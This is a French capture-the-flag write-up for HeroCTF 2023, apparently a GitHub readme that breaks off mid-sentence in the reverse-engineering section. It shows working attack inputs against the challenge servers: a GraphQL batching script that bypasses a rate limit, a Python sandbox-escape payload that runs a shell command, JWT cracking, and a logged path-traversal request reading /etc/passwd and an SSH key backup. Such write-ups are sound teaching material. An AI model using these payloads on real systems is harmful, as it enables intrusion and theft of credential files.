{"id":21229866,"url":"https://github.com/sleleu/heroctf_writeup","last_synced_at":"2025-08-12T18:17:45.137Z","repository":{"id":176480631,"uuid":"658443376","full_name":"Sleleu/HeroCTF_WriteUp","owner":"Sleleu","description":"A write-up (in french) of challenges I attempted during HeroCTF 2023.","archived":false,"fork":false,"pushed_at":"2023-06-25T21:25:06.000Z","size":29,"stargazers_count":5,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-15T02:16:15.426Z","etag":null,"topics":["crypto","ctf-writeups","cybersecurity","heroctf","steganography","web"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Sleleu.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-06-25T18:54:57.000Z","updated_at":"2024-10-26T19:15:23.000Z","dependencies_parsed_at":"2023-06-28T14:49:18.053Z","dependency_job_id":null,"html_url":"https://github.com/Sleleu/HeroCTF_WriteUp","commit_stats":null,"previous_names":["sleleu/heroctf_writeup"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Sleleu/HeroCTF_WriteUp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sleleu%2FHeroCTF_WriteUp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sleleu%2FHeroCTF_WriteUp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sleleu%2FHeroCTF_WriteUp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sleleu%2FHeroCTF_WriteUp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Sleleu","download_url":"https://codeload.github.com/Sleleu/HeroCTF_WriteUp/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sleleu%2FHeroCTF_WriteUp/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":270111000,"owners_count":24529188,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-12T02:00:09.011Z","response_time":80,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["crypto","ctf-writeups","cybersecurity","heroctf","steganography","web"],"created_at":"2024-11-20T23:30:00.864Z","updated_at":"2025-08-12T18:17:45.086Z","avatar_url":"https://github.com/Sleleu.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# HeroCTF_WriteUp\n\nPremier writeup de mes débuts dans le monde du CTF, lors du HeroCTF se déroulant du 12 au 14 mai 2023, merci aux organisateurs c’était cool ! Place de la team à la fin du CTF : 73/1085 c’est plutôt encourageant pour la suite !\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/cea372db-d925-40fd-8fcb-47f6c6a790e9\" alt=\"team\"\u003e\n\u003c/p\u003e\n\n# Sommaire\n- [Crypto](#crypto)\n  - [Hyper Loop](#hyper-loop)\n- [Web](#web)\n  - [1 - Best schools](#1---best-schools)\n  - [2 - Referrrrer](#2---referrrrer)\n  - [3 - Drink from my Flask#1 (Non résolu)](#3---drink-from-my-flask1-non-résolu)\n- [Misc](#misc)\n  - [Pyjail](#pyjail)\n- [Stegano](#stegano)\n  - [LSD#2](#lsd2)\n- [Forensic](#forensic)\n  - [dev corp 1/4](#dev-corp-14)\n- [Reverse engineering](#reverse-engineering)\n  - [Scarface](#scarface)\n  \n# Crypto\n\n## Hyper Loop\n\nPremier challenge de cryptographie, on nous donne le code suivant :\n\n```python\nfrom os import urandom\n\n\nflag = bytearray(b\"Hero{????????????}\")\nassert len(flag) == 18\n\nfor _ in range(32):\n    for i, c in enumerate(urandom(6) * 3):\n        flag[i] = flag[i] ^ c\n\nprint(f\"{flag = }\")\n\n\n\"\"\"\n$ python3 hyper_loop.py \nflag = bytearray(b'\\x05p\\x07MS\\xfd4eFPw\\xf9}%\\x05\\x03\\x19\\xe8')\n\"\"\"\n```\n\nÀ la vue du code on peut directement voir qu’un XOR est effectué sur chaque caractère du flag à partir d’une clé de 6 bytes générée aléatoirement, et répété 3 fois, ce qui couvre 18 bytes, donc la taille du flag.\n\nLe XOR est une opération effectuée sur les bits de 2 valeurs. Si la comparaison montre que les deux bits sont identiques, le résultat sera false | 0 et s’ils sont différents, le XOR renvoie true | 1  :\n\n```\n01000001   (A ou 65)\nXOR\n01000010   (B ou 66)\n--------\n00000011   (3)\n```\n\nLe truc cool c’est que le XOR est reversible, par exemple un XOR entre 3 et 66 donnera 65.\n\nEn commentaire du code on retrouve le cipher du flag sous forme de bytes. Si on retrouve la clé, qu’on effectue un XOR entre la clé et les valeurs, on peut reconstituer le flag. Ça tombe bien puisque la clé est de 6 bytes, et que 6 caractères sont déjà visibles dans le message plus haut sous cette forme : **Hero{????????????}**\n\nOn a plus qu’à reconstituer la clé en faisant un XOR entre les valeurs ascii du message, et le cipher converti en valeur décimale.\n\nPour convertir le cipher en valeur décimale :\n\n```python\nflag = bytearray(b'\\x05p\\x07MS\\xfd4eFPw\\xf9}%\\x05\\x03\\x19\\xe8')\n\nflag_decimal = [byte for byte in flag]\nprint(flag_decimal)\n```\n\nVoici le résultat : **[129, 99, 52, 1, 135, 84, 238, 31, 226, 8, 57, 110, 144, 10, 219, 12, 190, 102, 57, 42, 163, 84, 221, 21, 128, 102, 126, 16, 139, 70, 163]**\n\nOn XOR les 5 premières valeurs ainsi que la dernière avec les caractères visibles, on obtient la clé suivante : **77 21 117 34 40 149**\n\nMaintenant, on reverse le XOR en utilisant cette clé sur le cipher pour obtenir le message en clair, je suis passé par mon [script python](https://github.com/Sleleu/xorcipher/blob/main/xorcipher.py) pour éviter de le faire à la mano : \n\nEt on obtient le flag !\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/56671346-f42a-495e-8538-5ae78fbf3e97\" /\u003e\n\u003c/p\u003e\n\n# Web\n\n## **1 - Best schools**\n\nOn tombe sur un site de ranking d'écoles de cybersecurité.\nL'objectif est de trouver un moyen faire passer la Flag Cybersecurity School en première position, la première ayant initialement déjà 1337 votes :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/e9aec5db-5cab-4ed5-bb13-35ded98f9328\" /\u003e\n\u003c/p\u003e\n\nÀ chaque nouveau clic, le nombre de vote s’incrémente.\nLe problème étant qu’on ne peut cliquer qu’une fois toutes les 2 minutes environ sous peine de se retrouver avec cette popup :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/aade9466-226a-422f-9246-cbab94b817e8\" /\u003e\n\u003c/p\u003e\n\nDeux options s’offrent à nous :\n\n- Passer 44 heures à cliquer toutes les 2 minutes pour obtenir les 1338 votes nécessaires\n- Hack cette merde 🙂\n\nEn fouillant le code source du site on remarque une fonction intéressante :\n\n```javascript\nfunction updateNbClick(schoolName)\n{\n    var updated_school = [];\n    fetch(\"/graphql\", {\n        method: \"POST\",\n        headers:{\n                \"Content-Type\": \"application/json\",\n                \"Accept\": \"application/json\"\n            },\n            body: JSON.stringify({query: `mutation { increaseClickSchool(schoolName: \"${schoolName}\"){schoolId, nbClick} }`})\n    }).then(r =\u003e r.json())\n    .then(\n        function(data)\n        {\n            if(data.error != undefined)\n            {\n                alert(data.error)\n            }\n            document.getElementById(`click${data.data.increaseClickSchool.schoolId}`).innerHTML = data.data.increaseClickSchool.nbClick\n        }\n    )\n}\n```\nC’est cette fonction côté client qui permet d’incrémenter le vote, et plus précisément après quelques recherches,\nc’est cette mutation **************graphql************** qui fait le taff :\n\n```javascript\nmutation { increaseClickSchool(schoolName: \"${schoolName}\"){schoolId, nbClick} }\n```\nOk, alors la variable nbClicks est inaccessible, et on ne peut pas envoyer plusieurs requêtes d’un seul coup.\nEst-ce qu’il y aurait un moyen de bypass la limite de temps pour les requêtes ?\nAprès maintes tentatives et un harcèlement de GooglexChatgpt, j'ai pu trouver qu’il existait un type d’attaque pour ça : une attaque par lot, ou [GraphQL Batching Attack](https://lab.wallarm.com/graphql-batching-attack/). Pour la théorie, je vais laisser chatgpt expliquer pour moi : \n\nUn exemple typique d'une attaque par lots (batching attack) en GraphQL pourrait ressembler à ceci:\n\nImaginons que nous avons une application qui permet aux utilisateurs de chercher des livres dans une bibliothèque en ligne. L'application utilise GraphQL, et elle a une requête qui ressemble à ceci\n\n```javascript\nquery {\n  book(id: \"123\") {\n    title\n    author\n    publishedDate\n  }\n}\n```\n\nCette requête demande des informations sur un livre spécifique.\n\nMaintenant, un attaquant pourrait tenter de surcharger le serveur en envoyant une requête qui demande des informations sur des milliers de livres à la fois, comme ceci :\n\n```javascript\nquery {\n  first: book(id: \"1\") { title }\n  second: book(id: \"2\") { title }\n  third: book(id: \"3\") { title }\n  ...\n  thousandth: book(id: \"1000\") { title }\n}\n```\nParfait, sans vouloir surcharger le serveur nous ce qui nous intéresse c’est d’incrémenter plusieurs fois le nombre de cliques en une unique requête. Go tester ça ?\n\n```javascript\nvar mutationQuery = `mutation { \n    a: increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick}\n    b: increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick}\n  }`;\n  \n  fetch(\"/graphql\", {\n    method: \"POST\",\n    headers:{\n      \"Content-Type\": \"application/json\",\n      \"Accept\": \"application/json\"\n    },\n    body: JSON.stringify({query: mutationQuery})\n  });\n```\nÇa marche ! On a bien augmenté le nombre de clics de 2 en une seule requête. Le problème est que pour une mutation graphql, chaque instruction nécessite un nom et j’ai pas envie d’écrire 1000 noms random en C/C, \ndonc petite boucle et ça part en first du classement des écoles ?\n\n```javascript\nvar mutationQuery = 'mutation {';\n\n  for(var i = 0; i \u003c 1400; i++) {\n    mutationQuery += `name${i}: increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick} `;\n  }\n  \n  mutationQuery += '}';\n  \n  fetch(\"/graphql\", {\n    method: \"POST\",\n    headers:{\n      \"Content-Type\": \"application/json\",\n      \"Accept\": \"application/json\"\n    },\n    body: JSON.stringify({query: mutationQuery})\n  });\n```\nErreur 413 Payload Too Large en sanction… Essayons avec seulement 1000 itérations dans ce cas :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/a57aa508-ba73-4beb-a434-c475ba26eade\" /\u003e\n\u003c/p\u003e\n\nzuuuper 🥵🥵🥵🥵🥵🥵🥵🥵🥵🥵🥵🥵\n\nIl ne manque plus qu’à attendre 2 minutes, relancer le même payload, et récupérer le flag directement sur le site: **Hero{gr4phql_b4tch1ng_t0_byp4ss_r4t3_l1m1t_!!}**\n\n## 2 - Referrrrer\n\nDans ce challenge, on dispose des fichiers sources du site web, dont le serveur nginx en premier lieu :\n\n```\nhttp {\n    charset utf-8;\n\n    access_log /dev/stdout;\n    error_log /dev/stdout;\n\n    upstream express_app {\n        server app:3000;\n    }\n\n    server {\n        listen 80;\n        server_name example.com;\n\n        location / {\n            proxy_pass http://express_app;\n            proxy_set_header Host $host;\n            proxy_set_header X-Real-IP $remote_addr;\n        }\n\n        location /admin {\n            if ($http_referer !~* \"^https://admin\\.internal\\.com\") {\n                return 403;\n            }\n\n            proxy_pass http://express_app;\n            proxy_set_header Host $host;\n            proxy_set_header X-Real-IP $remote_addr;\n        }\n    }\n}\n```\n\nPuis le serveur express :\n\n```javascript\nconst express = require(\"express\")\nconst app = express()\n\n\napp.get(\"/\", (req, res) =\u003e {\n    res.send(\"Hello World!\");\n})\n\napp.get(\"/admin\", (req, res) =\u003e {\n    if (req.header(\"referer\") === \"YOU_SHOUD_NOT_PASS!\") {\n        return res.send(process.env.FLAG);\n    }\n\n    res.send(\"Wrong header!\");\n})\n\napp.listen(3000, () =\u003e {\n    console.log(\"App listening on port 3000\");\n})\n```\n\nOn peut deviner que la vulnérabilité se situe au niveau du referer vu le nom du challenge, encore plus obvious sur la faille avec le refe**rrrrrrrrr**er bien insistant, mais ça je ne l’ai pas vu car je lis tout en diagonale.\n\nLe referer c’est quoi ? C’est un header http, permettant d’indiquer dans la requête l’URL de provenance. Si tu es sur une page http://salut.fr/yo1, et que sur cette page il y a un bouton pour accéder à une page /yo2 la requête vers la page /yo2 contiendra en referer l’url de la page précédente /yo1.\n\nFacile, il suffit donc d’indiquer le bon referer en accédant à la route /admin dans ce cas. J’ouvre **Burpsuite**, une petite requête vers le site du challenge passant par le proxy, je l’envoie dans le Repeater.\n\nPremier problème, si j’envoie en Referer :\n\n```\nReferer:https://admin.internal.com\n```\n\nLe serveur Express évaluera sa condition à false et renverra \"Wrong header!\".\n\nEt si je passe le bon referer pour Express :\n\n```\nReferer:YOU_SHOUD_NOT_PASS!\n```\n\nC’est nginx qui me répondra par un Forbidden 403.\n\nL’idée est donc de valider ces deux conditions à la fois. En cherchant des infos en rapport avec le referer et express, on peut déjà voir en faisant un check de la documentation + CTRL F ‘referer’ que :\n\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/a8278120-a499-44e4-8491-882897860562\" /\u003e\n\u003c/p\u003e\n\nOk ils sont interchangeables pour Express, donc on peut mettre un referer nginx et un referrer express ? On tombe vite sur cette issue github qui apporte plus d’infos sur ce cas : https://github.com/expressjs/express/issues/3951\n\nIl semble que le terme refe**rr**er est recherché en priorité par Express, et en fouillant le code source de [request.js](https://github.com/expressjs/express/blob/master/lib/request.js#L79), on voit effectivement cette priorité :\n\n```javascript\nswitch (lc) {\n    case 'referer':\n    case 'referrer':\n      return this.headers.referrer\n        || this.headers.referer;\n    default:\n      return this.headers[lc];\n  }\n};\n```\nTestons donc ça tout de suite sur Burpsuite :\n\n```http\nGET /admin HTTP/1.1\nHost: static-01.heroctf.fr:7000\nUpgrade-Insecure-Requests: 1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate\nAccept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7\nReferrer:YOU_SHOUD_NOT_PASS!\nReferer:https://admin.internal.com\nContent-Length: 23\n\n\nConnection: close\n```\n\nOn obtient finalement le flag en réponse !\n\n```http\nHTTP/1.1 200 OK\nServer: nginx/1.24.0\nDate: Sat, 13 May 2023 13:20:26 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 38\nConnection: keep-alive\nX-Powered-By: Express\nETag: W/\"26-Cj1P1GdO8Vke/DfJFC3B2cH95nw\"\n\nHero{ba7b97ae00a760b44cc8c761e6d4535b}\n```\n\n## 3 - Drink from my Flask#1 (Non résolu)\n\nSur ce challenge, on nous explique qu’il s’agit d’un serveur web créé à partir du framework flask de python (j’y connais R), on tombe directement sur ce site :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/e7c137a2-e038-438f-b497-ffe3a2233e47\"/\u003e\n\u003c/p\u003e\n\nEt en naviguant un peu au pif sur des routes, on apprend que deux routes semblent accessibles :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/af53187d-6179-4efa-b5a6-adfcdb4d0945\"/\u003e\n\u003c/p\u003e\n\nEt lorsqu’on passe sur adminPage, on se fait bien entendu recaler :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/7e4fab29-8628-486e-8532-36bbc53f85d8\"/\u003e\n\u003c/p\u003e\n\nPendant que je place la requête sur le repeater de burpsuite, je vois ce cookie : \n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/3f72c786-bab7-44cd-8663-cf352440f320\"/\u003e\n\u003c/p\u003e\n\nVoyons ce que ça donne sur le debugger de jwt.io :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/7c5765cc-5410-4c25-b1b2-f9e72ea424da\"/\u003e\n\u003c/p\u003e\n\nEt si on essayait de crack le token et de se placer en admin pour accéder à cette page ? J’utilise l’outil JwtTool pour ça et je tente un bruteforce de base avec le dictionnaire rockyou.txt afin d’éventuellement trouver le secret du token :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/37237f5c-a1ce-4381-aa5c-9eab44f4cb6b\"/\u003e\n\u003c/p\u003e\n\nLe secret était “key”…\n\nJ’encode un nouveau token avec le rôle admin, et le secret pour accéder en tant qu’admin à la page :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/aa9548d7-c8e6-403a-8d06-d84dd0f1c1d5\"/\u003e\n\u003c/p\u003e\n\nJ’envoie à nouveau une requête pour accéder à adminPage sous le rôle d’admin et :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/6e91a823-1ff4-4dcc-ae70-97cb6a357b99\"/\u003e\n\u003c/p\u003e\n\nSérieusement ? Juste un Welcome admin ?\n\nÉvidemment c’était bien trop facile et je n’ai pas vu passer la moindre notion de flask donc cherchons plutôt du côté des variables, testons une division par 0 pour voir comment le serveur se comporte :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/8f4ddd29-586d-4595-8aef-d597f1f12f92\"/\u003e\n\u003c/p\u003e\n\nPetite erreur 500 c’est marrant mais ça a l’air de ne servir à rien dans ce contexte. En cherchant un peu côté payload flask j’ai enfin pu obtenir une réponse intéressante en testant un payload de Server-Side Template Injection:\n\n![Capture d’écran du 2023-05-15 18-11-22](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/0df101ac-8caa-49a7-af2f-3186dcf0b62b)\n\nOn peut réussir à obtenir certaines données à partir de l’appel à **{{config}}** , malheureusement le flag ne se trouve pas directement dans la variable SECRET_KEY.\n\nJ’ai pu en déduire que ça tournait sur Jinja2 avec ces tests, ainsi qu’avec d’autres données obtenues avec quelques tentatives\n\n![Capture d’écran du 2023-06-25 22-04-43](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/c0cc94ea-e0e6-414e-a1dc-546b2b7206db)\n\nJ’ai essayé de développer mon payload à partir de ce que j’ai vu sur certains writeups ainsi que sur Hacktricks, mais on tombe vite sur une size limit de payload :\n\n![Capture d’écran du 2023-05-15 18-18-48](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/45ba17be-92ad-41bc-922e-b2513aedab23)\n\nComment bypass cette limite ?\n\nC’est là que je me suis arrêté, manque de temps et de connaissances j’ai pas pu aller plus loin sur ce challenge malheureusement, d’après les writeup d’autres personnes du CTF : https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-Flask-1/, on pouvait bypass cette limite en injectant le code pour obtenir une RCE directement dans le token.\n\n# Misc\n\n## Pyjail\n\nJamais fait de pyjail, au vu du challenge on peut se connecter en remote tcp avec nc :\n\n```bash\nnc dyn-02.heroctf.fr 14925\n```\n\nD’après  Hacktricks, on doit d’abord vérifier si on peut directement exécuter certaines commandes sensibles, ou importer certaines libraires, ça marche pas des masses :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/cfda7d99-3628-4cdc-9d46-c1a1aa11ab80\"/\u003e\n\u003c/p\u003e\n\nEn fouillant certains writeup, je tombe sur ce [dernier](https://ctftime.org/writeup/25816) et je teste ainsi le payload suivant : \n\n![Capture d’écran du 2023-05-15 16-33-22](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/f74bf35a-f896-4281-b656-09cb0806aad4)\n\nOn récupère finalement le flag ainsi que le code de la pyjail dans le fichier pyjail.py :\n\n```python\n\u003e\u003e \"\".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['s' + 'ys' + 'tem']('cat pyjail.py')   \n#! /usr/bin/python3\n\n# FLAG : Hero{nooooo_y0u_3sc4p3d!!}\n\ndef jail():\n    user_input = input(\"\u003e\u003e \")\n\n    filtered = [\"eval\", \"exec\"]\n    \n    valid_input = True\n    for f in filtered:\n        if f in user_input:\n            print(\"You're trying something fancy aren't u ?\")\n            valid_input = False\n            break\n    for l in user_input:\n        if ord(l) \u003c 23 or ord(l) \u003e 126:\n            print(\"You're trying something fancy aren't u ?\")\n            valid_input = False\n            break\n    \n    if valid_input:\n        try:\n            exec(user_input, {'__builtins__':{'print': print, 'globals': globals}}, {})\n        except:\n            print(\"An error occured. But which...\")\n\ndef main():\n    try:\n        while True:\n            jail()\n    except KeyboardInterrupt:\n        print(\"Bye\")\n\nif __name__ == \"__main__\":\n```\n\n# Stegano\n\n## LSD#2\n\nVoici l’image de ce challenge :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/ba13ac93-f85f-4739-9b80-65d716481b88\" width=\"500\" height=\"500\"/\u003e\n\u003c/p\u003e\n\nPour commencer, je lance un petit **exiftool sur l'image** au cas où il y aurait des données cachées mais je n’ai rien trouvé d’intéréssant, idem avec **strings**. Il y a eu un indice sur le challenge indiquant 200x200. Il y a sûrement quelque chose de caché dans l'image au sein de cette zone.\n\nJe suis donc passé sur **gimp,**. Effectivement en examinant les pixels sur le coin 200x200, j’ai pu voir une petite différence de teinte entre le vert, passant de 100 à 99.6, idem pour la teinte LCH (aucune idée de ce que c’est).\n\nJ’ai pu lire que certaines techniques de stegano consistaient à cacher des informations dans les pixels des images en vérifiant les pixels :\n\n\u003e Texte provenant de http://planeteisn.fr/crypto/techniques.pdf\n\u003e \n\u003e \n\u003e \n\u003e *Si l'on modifie ne serait-ce que le dernier bit de chaque couleur primaire\n\u003e composant la couleur de chaque pixel (soit plus simplement dit, le dernier chiffre de\n\u003e chacun des trois nombres du code RGB définissant la couleur) ou même les 2 derniers,\n\u003e cela serait imperceptible par l'oeil nu car la nuance ne serait que de 3 au maximum (11\n\u003e en binaire) sur 255 nuances possibles, ce qui est bien sûr trop peu pour être visible par\n\u003e un oeil humain. C'est de cette manière que sont dissimulés des messages dans une image\n\u003e : on converti le message en binaire puis on remplace les deux derniers bits du rouge du\n\u003e premier pixel par les deux premiers bits de l'information à cacher, puis les deux derniers\n\u003e bits du green par les deux suivants du texte, idem pour le vert puis on continue avec le\n\u003e pixel suivant. A la fin de l'opération, il est impossible de voir une différence entre\n\u003e l'image initiale et l'image qui sert de stégo-médium.*\n\u003e \n\u003e *Exemple :*\n\u003e \n\u003e *Prenons le message, « 110011001011 »*\n\u003e \n\u003e *Avec la partie d'image : R = 10010100 G = 10110111 B = 10101010\n\u003e R = 10010101 G = 10111000 B = 10101110*\n\u003e \n\u003e *On masque le message et on obtient :\n\u003e R = 10010111 G = 10110100 B = 10101011\n\u003e R = 10010100 G = 10110110 B = 10101011*\n\u003e \n\u003e *La modification pour couleur primaire est donc entre 0 et 3 sur 255 soit totalement\n\u003e invisible.*\n\nSuper tout ça, si je ne lisais pas tout en diagonale, cette piste m’aurait sûrement fait gagner beaucoup de temps. Au lieu de ça je me suis plutôt amusé à jouer avec toutes les possibilités de modification des couleurs sur gimp, jusqu’à tomber par hasard sur ça : \n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/7f695ad8-db1e-414f-95b2-034f417bd890\" width=\"700\" height=\"700\"/\u003e\n\u003c/p\u003e\n\nC’est à ce moment que j’ai testé tous les trucs les plus inutiles **pendant des heures** en espérant avoir une piste pour le flag :\n\n- Décalquer le carré pour étirer des pixels\n- Superposer plusieurs claques en verticale\n- Inverser des ondes beta, alpha, utiliser des effets d’inversion de couleur\n\nAu bout d’un moment je suis tombé sur ce site qui répertorie beaucoup d’outils de stégano : https://stegonline.georgeom.net/checklist\n\nSur ce site on peut notamment upload une image et appliquer beaucoup d’effets, dont le check de bit plane pour chaque couleur RGB. J’ai remarqué que c’était uniquement sur le bit green 0 qu’on pouvait très clairement voir le pavé de couleurs cachées :\n\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/cd961edd-9921-46e4-bc28-b280c055a8d7\" width=\"700\" height=\"700\"/\u003e\n\nOk genius, il suffit d’extraire le binaire sur le canal green 0 et lire le message ! Pour ça, j’ai utilisé l'outil stegsolve qui me permet de créer un fichier binaire contenant uniquement les bits 0 de la couleur green. En utilisant la commande strings, on voit un début de texte en anglais, et à la fin de ce texte :\n\n![Capture d’écran du 2023-05-15 15-38-38](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/0139082a-e8e6-40b7-8732-f2cbf9e69e1a)\n\n“Here is your fl” YOUR QUOI ? Impossible de trouver le flag dans le texte, si ce n’est un morceau suspect ressemblant à une fin de flag juste après.\n\nWait, il n’y avait pas de bandes verticales sur l’image du canal 0 green, pourtant avec les options de gimp elles sont bien apparues, c’est donc la luminosité LCH ? Peut-être que si j’exfiltre les données de la photo modifiée sur gimp je vais pouvoir apercevoir le texte sur le binaire ?\n\n![Capture d’écran du 2023-05-15 16-06-06](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/11e56ec5-b2fc-4574-982c-c50df7ae8eb0)\n\nBingo 🐸 La seconde partie du texte devait être incluse dans la luminosité de la photo, qui n’était pas apparent sur les couleurs RGB avant de modifier l’image depuis gimp ! Il suffit de fusionner les deux textes pour obtenir le flag complet : Hero{0NL1NE_700L_0V3RR473D}\n\n# Forensic\n\n## dev corp 1/4\n\nLe challenge nous fournit un fichier access.log, et pour réussir le challenge, on doit trouver la CVE ainsi que le fichier le plus sensible. Un CTRL + F sur “pass” nous permet de voir un premier log suspect niveau vulnérabilité : \n\n\u003e *internalproxy.devcorp.local - - [02/May/2023:13:12:29 +0000] \"GET //wp-admin/admin-ajax.php?action=duplicator_download\u0026file=../../../../../../../../../etc/passwd HTTP/1.1\" 200 2240 \"-\" \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0”*\n\u003e \n\nÀ première vue ça ressemble à une **Directory Tranversal** : https://portswigger.net/web-security/file-path-traversal\n\nEt en recherchant cette tentative de GET sur google, on tombe directement sur la CVE concernée : https://www.exploit-db.com/exploits/50420. Cette attaque a été réalisée 4 fois dans les logs, et le fichier le plus sensible semble être le backup de la key rsa :\n\n```\n../../../../../../../../../home/webuser/.ssh/id_rsa_backup\n```\n\nEt voici le flag : Hero{CVE-2020-11738:/home/webuser/.ssh/id_rsa_backup}\n\n# Reverse engineering\n\n## Scarface\n\nPour ce challenge un executable nous est fourni, et en le lançant, on obtient une simple question suivi d’une redirection vers Youtube : \n\n![Capture d’écran du 2023-05-15 19-11-35](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/a7a4e648-b441-4c87-8fdc-e8ed0eb8c4c7)\n\nUn strings scarface nous laisse entrevoir quelques données de plus sur le programme mais rien de réellement utile. Il est donc temps pour moi de découvrir **Ghidra** et de décompiler un peu tout ça :\n\n![Capture d’écran du 2023-05-15 19-17-30](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/f7cdbc61-6b7c-4d00-86a5-68555762677e)\n\nOn remarque plusieurs choses intéressantes sur ce code :\n\n- Au départ, l’input est récupéré par un call à **fgets()**, le programme remplace le \\n par un \\0, et est vérifiée avec un 0x1f (31 en valeur décimale). Si la vérification retourne false, le programme call une fonction fail(), ce qui est évidemment pas ce nous voulons puisque fail provoque un appel à exit() :\n\n![Capture d’écran du 2023-05-15 19-21-36](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/37944da1-1ac9-4de3-8bbf-4078d6939b46)\n\nDonc l’input doit faire 31 caractères. \n\n- Une variable **local_28** est crée, contenant la vidéo youtube, et son adresse avance jusqu’au ‘=’. Ensuite cette variable est envoyée en paramètre à une fonction **UNO_REVERSE_CARD()**, renvoyant une string **__s_00**.\n- Cette variable __s_00 est envoyée dans une fonction **decode**() avec sa taille, ainsi que pvVar2, un pointeur déclaré auparavant.\n- Enfin, un XOR est effectué sur chaque caractère de ces variables et comparé à une autre variable **DAT_00102050**\n\nEn examinant de plus près les fonctions UNO_REVERSE_CARD() et decode() :\n\n![Capture d’écran du 2023-05-15 19-32-06](https://github.com/Sleleu/HeroCTF_WriteUp/assets/93100775/0f407056-5424-42de-aca4-e98b75ca0589)\n\nOn comprend que c’est une façon super brouillon (pour l’être humain) d’inverser une string, donc cette 